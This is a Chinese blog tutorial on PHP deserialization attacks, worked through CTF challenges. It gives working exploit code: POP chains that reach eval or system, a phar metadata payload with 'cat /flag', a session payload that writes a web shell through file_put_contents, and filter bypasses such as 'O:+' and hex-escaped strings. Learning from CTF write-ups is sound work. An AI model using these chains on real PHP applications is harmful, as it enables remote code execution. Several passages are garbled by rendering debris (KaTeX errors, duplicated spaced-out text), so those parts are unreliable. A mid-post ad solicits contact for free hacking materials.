iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >PHP反序列化新手入门学习总结
  • 225
分享到

PHP反序列化新手入门学习总结

phpPHP反序列化CTF 2023-09-06 12:09:23 225人浏览 泡泡鱼
摘要

最近写了点反序列化的题,才疏学浅,希望对CTF新手有所帮助,有啥错误还请大师傅们批评指正。 PHP反序列化简单理解 首先我们需要理解什么是序列化,什么是反序列化? php序列化:serialize()

最近写了点反序列化的题,才疏学浅,希望对CTF新手有所帮助,有啥错误还请大师傅们批评指正。

PHP反序列化简单理解

首先我们需要理解什么是序列化,什么是反序列化?

php序列化:serialize()

序列化是将变量或对象转换成字符串的过程,用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构。

而PHP反序列化:unserialize()

反序列化是将字符串转换成变量或对象的过程

通过序列化与反序列化我们可以很方便的在PHP中进行对象的传递。本质上反序列化是没有危害的。但是如果用户对数据可控那就可以利用反序列化构造payload攻击。这样说可能还不是很具体,举个列子比如你网购买一个架子,发货为节省成本,是拆开给你发过去,到你手上,然后给你说明书让你组装,拆开给你这个过程可以说是序列化,你组装的过程就是反序列化

说这么多不如直接一点测试一下

php序列化的字母标识

a - array

b - boolean

d - double

i - integer

o - common object

r - reference

s - string

C - custom object

O - class

N - null

R - pointer reference

U - unicode string

N - NULL

测试一下

  class TEST{   public $test1="11";   private $test2="22";   protected $test3="33";   public function test4()   {   echo $this->test1;   }  }  $a=new TEST();  echo serialize($a);  //O:4:"TEST":3:{s:5:"test1";s:2:"11";s:11:" TEST test2";s:2:"22";s:8:" * test3";s:2:"33";}

O代表类,然后后面4代表类名长度,接着双引号内是类名

然后是类中变量的个数:{类型:长度:“值”;类型:长度:“值”…以此类推}

protected 和private其实是有不可打印字符的,所以这里附上截图

从图中可以看到有几个不可打印字符,关于这个还有一些特别的地方,和具体放在了后边写

有时候做题时为了防止传参中有啥意外,一般就会urlencode一下

什么是魔术方法?

做php反序列化的题总会遇到魔术方法

其实就是一种特殊方法当对对象执行某些操作时会覆盖 PHP 的默认操作

举个例子如下,这里用常见的__construct和__destruct魔术方法,其实就是构造函数和析构函数

  class A{   public $a="这里是__construct";   public function __construct()   {   echo $this->a;   }   public function __destruct()   {   echo $this->a="这里是__destruct";   }  }  $a=new A();  

//输出这里是__construct这里是__destruct

后边的题中也会给一些测试魔术方法的例子

想买给出魔术方法触发的情况,这对解题有很大帮助

__construct 当一个对象创建时被调用,

__destruct 当一个对象销毁时被调用,

__toString 当一个对象被当作一个字符串被调用。

__wakeup() 使用unserialize时触发

__sleep() 使用serialize时触发

__destruct() 对象被销毁时触发

__call() 对不存在的方法或者不可访问的方法进行调用就自动调用

__callStatic() 在静态上下文中调用不可访问的方法时触发

__get() 用于从不可访问的属性读取数据

__set() 在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用

__isset() 在不可访问的属性上调用isset()或empty()触发

__unset() 在不可访问的属性上使用unset()时触发

__toString() 把类当作字符串使用时触发,返回值需要为字符串

__invoke() 当脚本尝试将对象调用为函数时触发

光看还是了解不够,具体还得到亲自尝试才可以,下面我做了一些CTF题,在此分享给大家。

【----帮助网安学习,以下所有学习资料免费领!加v@~x:yj009991,备注“ csdn ”获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+iOS

简单的反序列化题

题目来自[SWPUCTF 2021 新生赛]ez_unserialize

  error_reporting(0);  show_source("cl45s.php");  class wllm{  public $admin;  public $passwd;  public function __construct(){  $this->admin ="user";  $this->passwd = "123456";  }  public function __destruct(){  if($this->admin === "admin" && $this->passwd === "ctf"){  include("flag.php");  echo $flag;  }else{  echo $this->admin;  echo $this->passwd;  echo "Just a bit more!";  }  }  }  $p = $_GET['p'];  unserialize($p);  ?>

在__construct方法里admin被赋值为user,passwd被赋值为123456,而在__destruct方法需要把$this->admin === “admin” && $this->passwd === "ctf"这个式子成立才能输出flag

php反序列化是可以控制类方法的属性但不能改类方法的代码

于是我们直接更改就行,

  class wllm{   public $admin;   public $passwd;   public function __construct(){   $this->admin ="admin";   $this->passwd = "ctf";   }  }  $a=new wllm();  echo urlencode(serialize($a));  ?>

然后传参就行了,一般这里要url编码一下,规避不可打印字符,前面我们提到private protected 属性 序列化出来会有不可打印字符。

__wakeup绕过

这个其实是个CVE,CVE-2016-7124

影响版本php5<5.6.25,php7<7.010

简单描述就是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

而魔术方法__wakeup执行unserialize()时,先会调用这个函数

写个代码本地测试一下

  class A{   public $a;   public function __construct()   {   $this->a="触发__construct";   }   public function __wakeup()   {   $this->a="触发__wakeup";   }   public function __destruct()   {   echo $this->a;   }  }  $a=new A();  echo serialize($a);

O:1:“A”:1:{s:1:“a”;s:17:“触发__construct”;}先正常序列化一下

反序列化一下,输出触发__wakeup

O:1:“A”:2:{s:1:“a”;s:17:“触发__construct”;} 把对象个数改为2

触发__construct,绕过了wakeup

[极客大挑战 2019]PHP __wakeup()绕过
  include 'class.php';  $select = $_GET['select'];  $res=unserialize(@$select);<?php  include 'flag.php';  error_reporting(0);  class Name{   private $username = 'nonono';   private $passWord = 'yesyes';   public function __construct($username,$password){   $this->username = $username;   $this->password = $password;   }   function __wakeup(){   $this->username = 'guest';   }   function __destruct(){   if ($this->password != 100) {   echo "
NO!!!hacker!!!
"
; echo "You name is: "; echo $this->username;echo "
"
; echo "You password is: "; echo $this->password;echo "
"
; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "
hello my friend~~
sorry i can't give you the flag!"
; die(); } } }

源码我们需要password=100,username=admin,但反序列化过程中wakeup方法里会把username赋值为guest;

这里我们先生成一个对象,然后序列化并Url编码,接着把它反序列化,var_dump一下看看

//$a=new Name('admin','100');  //echo urlencode(serialize($a));  //echo serialize($a);  $b="O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D";  var_dump(unserialize(urldecode($b)));

那么修改对象个数为大于2

O%3A4%3A%22Name%22%3A4%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

得到flag

POC

    class Name{   private $username = 'admin';   private $password = '100';   public function __construct($username,$password){   $this->username = $username;   $this->password = $password;   }  }  $a=new Name('admin','100');  echo urlencode(serialize($a));  //echo serialize($a);  //O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D  ?>

反序列化逃逸问题

逃逸问题的本质是改变序列化字符串的长度,导致反序列化漏洞

所以会有两种情况,一种是由长变短,一种是由短变长

由长变短

自己随手写个题测试下

  highlight_file(__FILE__);  class A  {   public $a;   public $b;   public $c;   public function __construct()   {   $this->a=$_GET['a'];   $this->b="noflag";   $this->c=$_GET['c'];   }   public function check()   {   if ($this->b==="123")   {   echo "flag{123DDDd}";   }   else if ($this->a==="test")   {   echo "give you flag";   }   else   {   echo "no flag";   }   }   public function __destruct()   {   $this->check();   }  }  $a=new A();  $b=serialize($a);  $c=str_replace("aa","b",$b);  unserialize($c);

这里本地写一个测试简单利用下,学会这个逃逸思路即可

$b=serialize($a);  echo $b;  $c=str_replace("aa","b",$b);  echo($c);  //O:1:"A":3:{s:1:"a";s:4:"aaaa";s:1:"b";s:6:"noflag";s:1:"c";s:2:"11";}  //O:1:"A":3:{s:1:"a";s:4:"bb";s:1:"b";s:6:"noflag";s:1:"c";s:2:"11";}

这里测试一下,很明显可以看见4个aaaa 变成了两个b,但s:4依然是四个字符串,a的值就相当于是从aaaa变成了bb";这样,相当于往后吞噬掉了两位,而这个题需要$b为123才能给flag,

t h i s − > b = " n o f l a g " ; 而这个已经给 b 赋值了,我们序列化出来可以看到 s : 1 : " b " ; s : 6 : " n o f l a g " ,之前可以看出,利用这个过滤可以吞噬掉后边的序列化,那岂不是可以把后边的都吞噬掉,然后根据序列化格式补全,依然可以正常的反序列化出来,把 this->b="noflag";而这个已经给b赋值了,我们序列化出来可以看到s:1:"b";s:6:"noflag",之前可以看出,利用这个过滤可以吞噬掉后边的序列化,那岂不是可以把后边的都吞噬掉,然后根据序列化格式补全,依然可以正常的反序列化出来,把 this>b="noflag";而这个已经给b赋值了,我们序列化出来可以看到s:1:"b";s:6:"noflag",之前可以看出,利用这个过滤可以吞噬掉后边的序列化,那岂不是可以把后边的都吞噬掉,然后根据序列化格式补全,依然可以正常的反序列化出来,把b的值给覆盖掉

开始构造

然后计算要吞噬掉多少位

print(len('";s:1:"b";s:6:"noflag";s:1:"c";s:3:'))  print(36*'aa')  //35  //aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

35个长度,构造出来肯定超过十个了,所以s:1的1会变成十位数,多出一位,所以要+1,用36个aa

a=36个aa,c=;s:1:“b”;s:3:"123

这样构造出来为

O:1:"A":3:{s:1:"a";s:72:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:";s:1:"b";s:3:"123";}bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:print(len('bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:'))

刚好为72个,成功反序列化,得到flag

由短变长

题目来自ctfshowWEB262

index.php<?php  error_reporting(0);  class message{  public $from;  public $msg;  public $to;  public $token='user';  public function __construct($f,$m,$t){  $this->from = $f;  $this->msg = $m;  $this->to = $t;  }  }  $f = $_GET['f'];  $m = $_GET['m'];  $t = $_GET['t'];  if(isset($f) && isset($m) && isset($t)){  $msg = new message($f,$m,$t);  $umsg = str_replace('fuck', 'loveU', serialize($msg));  setcookie('msg',base64_encode($umsg));  echo 'Your message has been sent';  }  

highlight_file(FILE);

从题目注释里可以找到message.php

message.php源码

  highlight_file(__FILE__);  include('flag.php');  class message{  public $from;  public $msg;  public $to;  public $token='user';  public function __construct($f,$m,$t){  $this->from = $f;  $this->msg = $m;  $this->to = $t;  }  }  if(isset($_COOKIE['msg'])){  $msg = unserialize(base64_decode($_COOKIE['msg']));  if($msg->token=='admin'){  echo $flag;  }  }

很明显,要想得到flag要把token值更改为admin

但是正常反序列化,字符串个数是固定的, u m s g = s t rr e p l a c e (′ f u c k′ ,′ l o v e U′ , s e r i a l i z e ( umsg = str_replace('fuck', 'loveU', serialize( umsg=strreplace(fuck,loveU,serialize(msg));但是这里fuck被替换为loveU,四个字符被替换成五个字符,简单演示一下

  class test  {   public $username="fuckfuck";   public $password;  }  $a=new test();  //echo serialize($a);  echo str_replace('fuck','loveU',serialize($a));  //O:4:"test":2:{s:8:"username";s:8:"fuckfuck";s:8:"password";N;}  //O:4:"test":2:{s:8:"username";s:8:"loveUloveU";s:8:"password";N;}

可以很明显的看出来,s:8字符串应该是8个,替换后变为10个,因为有两个fuck,这样还看不出来什么,如果我们把多的字符串改为";s:5:“token”;s:5:“admin”;}而此时后面的";s:5:“token”;s:4:“user”;}这个就无效了

因为php在反序列化时,底层代码是以;作为字段的分隔,以}作为结尾,并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化

伪造的序列化字符串变成真的了,伪造的序列化字符串长度为27,loveU比fuck多一位

那么需要27个fuck就行

payload

?f=1

&m=1

&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:“token”;s:5:“admin”;}

然后访问message.php即可 当然这个有非预期解,直接修改token值写到cookie里就行,不过关键是了解到反序列化字符串逃逸问题的思路

POP链构造

做这种题关键是php魔术方法,构造PHP先找到头部和尾部,头部就是用户可控的地方,也就是可以传入参数的地方,然后找尾部,比如关键代码,eval,file_put_contents这种,然后从尾部开始推导,根据魔术方法的特性,一步一步往上触发,根据下面的题,来学习下

[SWPUCTF 2021 新生赛]pop

题目源码

  error_reporting(0);  show_source("index.php");  class w44m{  private $admin = 'aaa';  protected $passwd = '123456';  public function Getflag(){  if($this->admin === 'w44m' && $this->passwd ==='08067'){  include('flag.php');  echo $flag;  }else{  echo $this->admin;  echo $this->passwd;  echo 'nono';  }  }  }  class w22m{  public $w00m;  public function __destruct(){  echo $this->w00m;  }  }  class w33m{  public $w00m;  public $w22m;  public function __toString(){  $this->w00m->{$this->w22m}();  return 0;  }  }  $w00m = $_GET['w00m'];  unserialize($w00m);  ?>

POP链入手,先找关键代码,然后推断

需要admin为w44m,passwd为08067 才能得到flag

if($this->admin === ‘w44m’ && $this->passwd ===‘08067’){

echo $flag;

发现可以利用KaTeX parse error: Expected '}', got 'EOF' at end of input: this->w00m->{this->w22m}();

这个地方,修改w22m=getflag,那么这个地方就有getflag()函数了

在类w22m中 方法__destruct中echo $this->w00m;echo了一个对象,会触发tostring方法

前面魔术方法提到

__toString 当一个对象被当作一个字符串被调用。这样的话我们便可以利用to_Sting方法里面的代码了,传参点是w00m,

链子构造为 w22m::__destruct->w33m::toString->w44m::getflag

poc如下,这里要用urlencode,因为我们前面提到private和protected生产序列化有不可见字符

  class w44m{   private $admin = 'w44m';   protected $passwd = '08067';  }  class w22m{   public $w00m;   public function __destruct(){   echo $this->w00m;   }  }  class w33m{   public $w00m="";   public $w22m="getflag";   public function __toString(){   $this->w00m->{$this->w22m}();   return 1;   }  }  $a=new w22m();  $a->w00m=new w33m();  $a->w00m->w00m=new w44m();  echo urlencode( serialize($a));  ?>
[NISACTF 2022]babyserialize
  include "waf.php";  class NISA{  public $fun="show_me_flag";  public $txw4ever;  public function __wakeup()  {  if($this->fun=="show_me_flag"){  hint();  }  }  function __call($from,$val){  $this->fun=$val[0];  }  public function __toString()  {  echo $this->fun;  return " ";  }  public function __invoke()  {  checkcheck($this->txw4ever);  @eval($this->txw4ever);  }  }  class TianXiWei{  public $ext;  public $x;  public function __wakeup()  {  $this->ext->nisa($this->x);  }  }  class Ilovetxw{  public $huang;  public $su;  public function __call($fun1,$arg){  $this->huang->fun=$arg[0];  }  public function __toString(){  $bb = $this->su;  return $bb();  }  }  class four{  public $a="TXW4EVER";  private $fun='abc';  public function __set($name, $value)  {  $this->$name=$value;  if ($this->fun = "sixsixsix"){  strtolower($this->a);  }  }  }  if(isset($_GET['ser'])){  @unserialize($_GET['ser']);  }else{  highlight_file(__FILE__);  }  //func checkcheck($data){  // if(preg_match(......)){  // die(something wrong);  // }  //}  //function hint(){  // echo ".......";  // die();  //}  ?>查看了一下提示发现什么也没有if(isset($_GET['ser'])){@unserialize($_GET['ser']);这是头部这是尾部public function __invoke(){checkcheck($this->txw4ever);@eval($this->txw4ever);}

从__invoke()这里开始触发

__invoke() 当脚本尝试将对象调用为函数时触发

return $bb()而这里有一个函数调用

那么$bb是class Nisa的对象就会调用 __invoke

触发$bb要调用 __toString()

而__toString()是

当一个对象被当作一个字符串被调用。

找类似echo 这种代码,而这里有个strtolower

strtolower是在set方法里的

__set触发

在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用

在four类的中有private $fun=‘abc’;

Ilovetxw类中的__call方法访问了fun这个变量

function __call($from,$val){   $this->fun=$val[0];  }

而__call方法

对不存在的方法或者不可访问的方法进行调用就自动调用

TianXiWei类中的__wakeup会触发__call

t h i s − > e x t − > n i s a ( this->ext->nisa( this>ext>nisa(this->x); nisa()这个方法并不存在

这里详细说下

  class nisa  {   public $b="";  }  class TianXiWei{  public $ext;  public $x;  public function __wakeup()  {  $this->ext->nisa($this->x);  }  }  class test  {   public $a ="";   public function __call($a,$b)   {   echo "call";   }  }  $a=new TianXiWei();  $a->ext=new test();  //echo urlencode(serialize($a));  echo serialize($a);//O:9:"TianXiWei":2:{s:3:"ext";O:4:"test":1:{s:1:"a";s:0:"";}s:1:"x";N;}  //echo serialize($a->ext);//O:4:"test":1:{s:1:"a";s:0:"";}

wakeup方法反序列化会触发,而里面nisa方法并不存在, a − > e x t = n e w t e s t ()这样会触发到 c a l l , 在本地测试的时候这样调用会 e c h o c a l l , 另外我们可以看出序列化 a->ext=new test()这样会触发到call,在本地测试的时候这样调用会echo call,另外我们可以看出序列化 a>ext=newtest()这样会触发到call,在本地测试的时候这样调用会echocall,另外我们可以看出序列化a和$->ext是不一样的结果

链子很清晰了

TianXiWei::__wakeup->Ilovetxw::__call->four::__set->Ilovetxw::__toString->NISA::__invokePOC<?php  class NISA  {   public $fun = "";   public $txw4ever = "sYstem('ls /');";//有过滤,大小写绕过  }  class TianXiWei{   public $ext;   public $x;  }  class Ilovetxw{   public $huang;   public $su;  }  class four{   public $a="TXW4EVER";   private $fun='abc';  }  $a=new TianXiWei();//从这里下手触发__wakeup  $a->ext=new Ilovetxw();//触发__call  $a->ext->huang=new four();//触发__set  $a->ext->huang->a=new Ilovetxw();//触发__tosrting  $a->ext->huang->a->su=new NISA();//触发__invoke  echo urlencode(serialize($a));

相信到这里,做这种题已经有一定思路了,不要着急,找到方向,然后一步一步去构造

phar反序列化

单的理解phar反序列化

phar是什么?

phar是php提供的一类文件的后缀名称,也是php伪协议的一种。

phar可以干什么?

将多个php文件合并成一个独立的压缩包,相对独立

不用解压到硬盘就可以运行php脚本

支持web服务器和命令行运行

注意要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件

phar文件的的结构

一个phar文件通常由四部分组成,

  • a stub:可以理解为一个标志,格式为xxx,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。
  • a manifest describing the contents:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
  • the file contents:被压缩文件的内容。这里不是重点,内容不影响
  • [optional] a signature for verifying Phar integrity (phar file fORMat only):签名,放在文件末尾
  class Test {//自定义  }  @unlink("phar.phar");  $phar = new Phar("phar.phar"); //后缀名必须为phar  $phar->startBuffering();  $phar->setStub(""); //设置stub  $o = new Test();  $phar->setMetadata($o); //将自定义的meta-data存入manifest  $phar->addFromString("test.txt", "test"); //添加要压缩的文件  //签名自动计算  $phar->stopBuffering();  ?>

生成一个phar.phar文件

拉进010分析

可以清楚看到一个标识符,一个序列化,一个文件名

有序列化数据必然会有反序列化操作 ,php一大部分的文件系统函数 通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化 ,受影响的函数如下

is_dir()is_file(),is_link(),copy(),file(),stat(),readfile(),unlink(),filegroup(),fileinode(),fileatime(),filectime(),fopen(),filemtime(),fileowner(),fileperms(),file_exits(),file_get_contents(),file_put_contents(),is_executable(),is_readable(),is_writable(),parse_ini_file<?php  highlight_file(__FILE__);  class Test {//自定义   public $name='phpinfo();';  }  $phar=new phar('rce.phar');  $phar->startBuffering();  $phar->setStub("");  $o=new Test();  $phar->setMetadata($o);  $phar->addFromString("flag.txt","flag");//添加要压缩的文件  //签名自动计算  $phar->stopBuffering();  ?>

这里用file_get_contents测试下

  class test{   public $name='';   public function __destruct()   {   eval($this->name);   }  }  echo file_get_contents('phar://rce.phar/flag.txt');  ?>

漏洞利用条件

  1. phar文件要能够上传到服务器端。
  2. 要有可用的魔术方法作为“跳板”。
  3. 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。

姿势

compress.bzip://phar:///test.phar/test.txt compress.bzip2://phar:///test.phar/test.txt compress.zlib://phar:///home/sx/test.phar/test.txt php://filter/resource=phar:///test.phar/test.txtphp://filter/read=convert.base64-encode/resource=phar://phar.phar

可以用于文件上传,有文件上传头限制,还可以这样,例如GIF

$phar->setStub(“GIF89a”.“”); //设置stub 这样可以生成一个phar.phar,修改后缀名为phar.gif

[SWPUCTF 2021 新生赛]babyunser phar反序列化

查看class.php获取源码

  class aa{   public $name;   public function __construct(){   $this->name='aa';   }   public function __destruct(){   $this->name=strtolower($this->name);   }  }  class ff{   private $content;   public $func;   public function __construct(){   $this->content="$_POST[1]);?>";   }   public function __get($key){   $this->$key->{$this->func}($_POST['cmd']);   }  }  class zz{   public $filename;   public $content='surprise';   public function __construct($filename){   $this->filename=$filename;   }   public function filter(){   if(preg_match('/^/|php:|data|zip|..//i',$this->filename)){   die('这不合理');   }   }   public function write($var){   $filename=$this->filename;   $lt=$this->filename->$var;   //此功能废弃,不想写了   }   public function getFile(){   $this->filter();   $contents=file_get_contents($this->filename);   if(!empty($contents)){   return $contents;   }else{   die("404 not found");   }   }   public function __toString(){   $this->{$_POST['method']}($_POST['var']);   return $this->content;   }  }  class xx{   public $name;   public $arg;   public function __construct(){   $this->name='eval';   $this->arg='phpinfo();';   }   public function __call($name,$arg){   $name($arg[0]);   }  }<?php  error_reporting(0);  $filename=$_POST['file'];  if(!isset($filename)){   die();  }  $file=new zz($filename);  $contents=$file->getFile();  ?>  <br>  <textarea class="file_content" type="text" value=<?php echo "
"
.$contents;?>

构造链子

先找到关键的代码 t h i s − > this-> this>key->{KaTeX parse error: Expected 'EOF', got '}' at position 11: this->func}̲(_POST[‘cmd’]);,通过这个可以构造命令执行,所以要想办法触发__get($key),

__get() 用于从不可访问的属性读取数据,ff类的 private $content;是不可访问的属性

访问content可以触发__get() ,而aa::__destruct方法里面有 t h i s − > n a m e = s t r t o l o w e r ( this->name=strtolower( this>name=strtolower(this->name),strtolower这个函数之前提到,可以触发tostring,利用它去触发zz::__tostring方法,利用方法里的KaTeX parse error: Expected '}', got 'EOF' at end of input: this->{_POST[‘method’]}($_POST[‘var’]);去构造method=write&var=content,

aa::__destruct()->zz::__toString()->zz::write->xx->ff::__get()

看着好奇怪,为什么要用write去这样钩爪,因为__get()触发需要,构造write函数进行访问content成员,不仅要用这个属性去new一个对象,还要对它进行访问

如下代码进行测试

  class test  {   private $a;   public $b;   public function __construct($a,$b)   {   $this->a="aaa";   $this->b="bbb";   }   public function __get($name)   {   // TODO: Implement __get() method.   $this->a="__get";   $this->b="111";   }   public function __destruct()   {   echo $this->a;   echo $this->b;   }  }  $a =new test("s","s");  //echo $a->a;  $b=serialize($a);  unserialize($b);

注释掉echo 输出是aaabbbaaabbb

去掉注释输出是__get111__get111

如此那么构造POP链子

  class aa{   public $name;  }  class ff{   private $content;   public $func;   public function __construct(){   $this->content=new xx();//这里New xx   }  }  class zz{   public $filename;   public $content;  }  class xx  {   public $name;   public $arg;  }  $a=new aa();  $c=new ff();  $a->name=new zz();  $c->func="system";  $a->name->filename=$c;  $phar = new Phar("flag.phar"); //后缀名必须为phar  $phar->startBuffering();  $phar->setStub(""); //设置stub  //$o = new Test();  $phar->setMetadata($a); //将自定义的meta-data存入manifest  $phar->addFromString("test.txt", "test"); //添加要压缩的文件  //签名自动计算  $phar->stopBuffering();

上传之后使用phar协议读取

file=phar://upload%2Fab83ba92f17bf9599f4bfc31f92811f2.txt&method=write&var=content&cmd=cat /flag

session反序列化

session与cookie很像,都是客户端与服务端会话时,用户的标识, PHP session 解决了这个问题,它通过在服务器上存储用户信息以便随后使用(比如用户名称、购买商品等)。然而,会话信息是临时的,在用户离开网站后将被删除。如果您需要永久存储信息,可以把数据存储在数据库中。

而session是以文件方式存储的

直接找一道题做做

题目来自ctfshowWEB263

打开是一个登录页面,用目录扫描扫一下,这里我用的是dirsearch

dirsearch -u "http://4b00e046-35c4-458d-93e7-e3ff83049288.challenge.ctf.show/" -e*

存在源码泄露,访问www.zip,下载下来源码,关键代码

index.php源码

*/   error_reporting(0);   session_start();   //超过5次禁止登陆   if(isset($_SESSION['limit'])){   $_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);   $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);   }else{   setcookie("limit",base64_encode('1'));   $_SESSION['limit']= 1;   }  ?>

check.php源码

    error_reporting(0);  require_once 'inc/inc.php';  $GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);  if($GET){   $data= $db->get('admin',   [ 'id',   'UserName0'   ],[   "AND"=>[   "UserName0[=]"=>$GET['u'],   "PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破   ]   ]);   if($data['id']){   //登陆成功取消次数累计   $_SESSION['limit']= 0;   echo JSON_encode(array("success","msg"=>"欢迎您".$data['UserName0']));   }else{   //登陆失败累计次数加1   $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);   echo json_encode(array("error","msg"=>"登陆失败"));   }  }inc.php中有一个这个ini_set('session.serialize_handler', 'php');而session存储格式(序列化)其中有这两种ini_set('session.serialize_handler', 'php');ini_set('session.serialize_handler', ' php_serialize ');

测试一下看这两个什么区别

  ini_set('session.serialize_handler','php');  session_start();  class test1{   public $a="test";  }  $a=new test1();  $_SESSION['user']=$a;

在tmp下找到这个文件打开看

user|O:5:"test1":1:{s:1:"a";s:4:"test";}<?php  ini_set('session.serialize_handler','php_serialize');  session_start();  class test1{   public $a="test";  }  $a=new test1();  $_SESSION['user']=$a;a:1:{s:4:"user";O:5:"test1":1:{s:1:"a";s:4:"test";}}

两种方式的区别主要是“|”符号,在php机制中,只会序列化“|”符号后面的内容

inc.php中关键代码

class User{   public $username;   public $password;   public $status;   function __construct($username,$password){   $this->username = $username;   $this->password = $password;   }   function setStatus($s){   $this->status=$s;   }   function __destruct(){   file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));   }  }function __destruct(){file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));}

可以利用这个函数写一句话木马

而session_start() 函数会解析 session 文件,就相当于进行了反序列化,session值我们是可控的,这样的话反序列化有了,只要构造出序列化字符串触发 User类 的 __destruct方法就可以了

  class User  {   public $username;   public $password;   function __construct($username, $password)   {   $this->username = $username;   $this->password = $password;   }  }  $a=new User('1.php','');  echo base64_encode("|".serialize($a));

访问的时候文件名是log-拼接,所以是log-1.php,index.php里面三元条件运算符: S E S S I O N [′ l i m t i′ ] > 5 ? d i e ( " 登陆失败次数超过限制 " ) : _SESSION['limti']>5?die("登陆失败次数超过限制"): SESSION[limti]>5?die("登陆失败次数超过限制"):_SESSION[‘limit’]=base64_decode($_COOKIE[‘limit’)

第一个式子不成立,则执行 S E S S I O N [′ l i m i t′ ] = b a s e 6 4d e c o d e ( _SESSION['limit']=base64_decode( SESSION[limit]=base64decode(_COOKIE[‘limit’)

,因为有base64_decode,所以这里我们还有base64_encode一下

抓包改limit值

然后发包,接着访问check.php 实现反序列化shell的写入

然后变更请求方法,注意直接右键选择变更POST请求

tricks总结

16进制绕过字符过滤
//O:1:"A":1:{s:2:"ab";s:4:"test";}  //O:1:"A":1:{S:2:"61b";s:4:"test";}//s改为大写S会被当成16进制解析 //61是a的16进制
php类名对大小写不敏感

ctfshowWEB266

  highlight_file(__FILE__);  include('flag.php');  $cs = file_get_contents('php://input');  class ctfshow{  public $username='xxxxxx';  public $password='xxxxxx';  public function __construct($u,$p){  $this->username=$u;  $this->password=$p;  }  public function login(){  return $this->username===$this->password;  }  public function __toString(){  return $this->username;  }  public function __destruct(){  global $flag;  echo $flag;  }  }  $ctfshowo=@unserialize($cs);  if(preg_match('/ctfshow/', $cs)){  throw new Exception("Error $ctfshowo",1);  }

很明显是触发析构函数就得到了flag,但是有过滤,如果匹配到了ctfshow就抛异常,

这题用到的知识点是PHP类名对大小写不敏感,可以清楚看到过滤并没有过滤大小写

直接这样

$cs = file_get_contents(‘php://input’);采用php伪协议传参

直接提交POST数据就行

  class cTfshow  {  }  $a=new cTfshow();  echo (serialize($a));

+号绕过

ctfshowWEB258

  error_reporting(0);  highlight_file(__FILE__);  class ctfShowUser{  public $username='xxxxxx';  public $password='xxxxxx';  public $isVip=false;  public $class = 'info';  public function __construct(){  $this->class=new info();  }  public function login($u,$p){  return $this->username===$u&&$this->password===$p;  }  public function __destruct(){  $this->class->getInfo();  }  }  class info{  public $user='xxxxxx';  public function getInfo(){  return $this->user;  }  }  class backDoor{  public $code;  public function getInfo(){  eval($this->code);  }  }  $username=$_GET['username'];  $password=$_GET['password'];  if(isset($username) && isset($password)){  if(!preg_match('/[oc]:d+:/i', $_COOKIE['user'])){  $user = unserialize($_COOKIE['user']);  }  $user->login($username,$password);  }  可见增加了过滤,过滤例如如下o:123:、c:456:s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;s:5:"class";O:8:"backDoor":1:{s:4:"code";s:10:"phpinfo();";}}phpinfo()

正常反序列化肯定会有o和c这种

如果O:后面不跟数字的话就可以把这个绕过去了

这里可以用+号,具体原因是跟PHP底层代码有关,+号判断也是可以正常的反序列化的

这里把O:后面加上一个加号

  error_reporting(0);  highlight_file(__FILE__);  class ctfShowUser{   public $username='xxxxxx';   public $password='xxxxxx';   public $isVip=false;   public $class = 'info';   public function __construct(){   $this->class=new backDoor();   }   public function __destruct(){   $this->class->getInfo();   }  }  class backDoor{   public $code="phpinfo();";   public function getInfo(){   eval($this->code);   }  }  $a=new ctfShowUser();  //echo urlencode(serialize($a));  $a=serialize($a);  $a=preg_replace('/[oc]+:/i','O:+',$a);  echo urlencode($a);

利用&使两值恒等

